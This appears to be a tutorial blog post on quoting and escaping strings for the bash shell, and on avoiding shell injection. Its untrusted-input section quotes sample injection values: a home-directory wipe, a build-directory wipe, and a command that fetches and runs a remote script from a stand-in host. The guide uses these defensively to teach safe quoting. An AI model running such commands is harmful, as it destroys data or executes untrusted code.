Skip to main content

How to Quote for Shell: A Practical Guide to Shell Escape

Learn why spaces, $, quotes and ; break shell commands or invite injection, how single vs double quotes differ, and how to escape strings safely for bash.

Published By Li Lei
#shell #bash #escaping #command line #security

How to Quote for Shell: A Practical Guide to Shell Escape

The first time a command fails because a filename had a space in it, you fix it by renaming the file. The tenth time, you start to wonder what the shell is actually doing with your text before your program ever sees it. The answer is: a lot. The shell splits, expands, and substitutes long before cp, mv, or python receives a single argument. Quoting is how you tell it to keep its hands off.

This guide walks through why ordinary-looking strings break commands, why the same problem becomes a security hole when the text comes from someone else, and how single quotes, double quotes, and backslashes each solve a different slice of the problem.

What the shell does to your text first

Type a command and the shell does not hand it straight to the program. It performs several steps in order: it splits the line into words on spaces and tabs, it expands variables like $HOME, it runs command substitution like ` date or $(date), it expands globs like * and ?`, and only then does it call your program with the resulting list of arguments.

Every one of those steps can change your intent. Consider a file literally named my file.txt:

rm my file.txt

The shell splits on the space, so rm receives two arguments, my and file.txt, and deletes neither the file you meant. Now consider an argument holding $HOME. Unquoted, the shell expands it to /home/you before your program runs, so the literal text $HOME never arrives. A * becomes the list of files in the current directory. A backtick runs whatever is inside it. None of this is a bug; it is exactly what the shell is designed to do. Quoting is how you opt out of the parts you do not want.

Single quotes: everything is literal

The simplest and strongest tool is the single quote. Inside single quotes the shell treats every character literally, including $, ` `, \, !`, and spaces. Nothing expands and nothing splits. So this:

echo 'a b $c `date`'

prints a b $c \date\`` exactly, with no expansion and no command run. That property makes single-quote wrapping the safest way to pass a value to the shell unchanged: take the whole string, put one pair of single quotes around it, and you are done.

There is exactly one character a single-quoted string cannot contain: another single quote. You cannot escape it with a backslash, because backslashes are literal in there too. Writing 'it\'s' leaves the shell waiting forever for a closing quote. The portable fix is the close-escape-reopen idiom: close the quote, emit an escaped single quote, then reopen the quote. The word it's becomes:

'it'\''s'

which the shell reads as it, a literal quote, then s, all joined into one argument it's. It looks strange, but every serious shell library escapes single quotes this way, and it is what the Shell Escape tool produces automatically so you never have to assemble it by hand.

Double quotes: spaces safe, but variables still expand

Double quotes are weaker, and the difference matters. Inside double quotes the shell still performs variable expansion and command substitution. So "$HOME" prints your home directory and ` "date" runs date. What double quotes *do* fix is word splitting and globbing: spaces and *` are safe inside them.

That is the trap. Wrapping a value in double quotes feels like quoting, but it only neutralizes four characters by escaping: the double quote, the dollar sign, the backtick, and the backslash. Everything else still does what it normally does. If you put untrusted input inside double quotes thinking you are safe, you are not, because $VAR and $(cmd) still run.

So when do you reach for double quotes? When you control the text and you want a variable to expand on purpose:

greeting="Hello, $USER"
echo "$greeting"

Here expansion is the point. Use double quotes for your own templated strings, and use single quotes for anything that should arrive verbatim.

A worked example: a filename with spaces and a dollar sign

Suppose you need to move a file literally named Q1 budget $final.pdf. It has two problems at once: a space that triggers word splitting, and a $ that the shell may try to expand.

Pass it bare and the shell sees three words and an empty expansion of $final:

mv Q1 budget $final.pdf archive/   # broken: 3+ words, $final is empty

Single-quote wrap is the clean answer. The space stays inside the quotes, and the $ is literal because nothing expands inside single quotes:

mv 'Q1 budget $final.pdf' archive/

That is one argument, exactly the bytes you typed. Double-quote wrap also handles the space, but because $ still expands in double quotes you must escape it yourself:

mv "Q1 budget \$final.pdf" archive/

Both work; the single-quoted form is shorter and harder to get wrong. Backslash mode would give you Q1\ budget\ \$final.pdf, which also works but is the hardest to read. When in doubt, wrap in single quotes.

Scripting safely with untrusted input

The stakes rise the moment the value comes from outside your program: a web form, a CLI flag, a row in a CSV. If you splice raw input into a command string, you have built a shell injection. A value like ; rm -rf ~ or $(curl evil.sh | sh) stops being data and becomes code.

I learned this the careful way rather than the painful way, after a colleague's deploy script took a branch name straight from a webhook and pasted it into a git command. A branch named x; rm -rf build would have done real damage if anyone had pushed it. The fix was not clever sanitizing; it was refusing to build command strings from input at all where possible, and where a string really was needed, single-quote wrapping every interpolated value so the shell could only ever see one literal argument.

Two habits keep you safe. First, prefer passing arguments as a list, not a string: subprocess.run(["mv", name, "archive/"]) in Python, or an array in your language of choice, skips the shell's parsing entirely. Second, when you genuinely must hand a string to the shell, single-quote wrap every untrusted value before it goes in. That converts code back into data.

Watch the edge cases a naive escaper misses. A backslash directly before a newline is a line continuation, so escaping a multi-line value character by character silently joins the lines instead of preserving them. Quoting the newline avoids that. These are the kinds of details worth letting a tested escaper handle rather than reinventing.

Tools to keep nearby

Quoting by hand is fine for one argument and error-prone for a batch. Paste any string into the Shell Escape tool and it returns the single-quoted, double-quoted, and backslashed forms at once, including the close-escape-reopen idiom and a reverse mode that decodes a copied command so you can see what it actually runs before you trust it. When your problem is escaping for a different context, such as JSON, source code, or other languages, the String Escape tool covers that side, and the Bash Cheatsheet is handy when you forget which expansion runs inside which kind of quote.

The rule that survives every shell I have used: if the text should arrive exactly as written, wrap it in single quotes. If you want a variable to expand, use double quotes and escape the $, ` `, ", and \` you mean literally. And never paste untrusted input into a command string without wrapping it first.


Made by Toolora · Updated 2026-06-13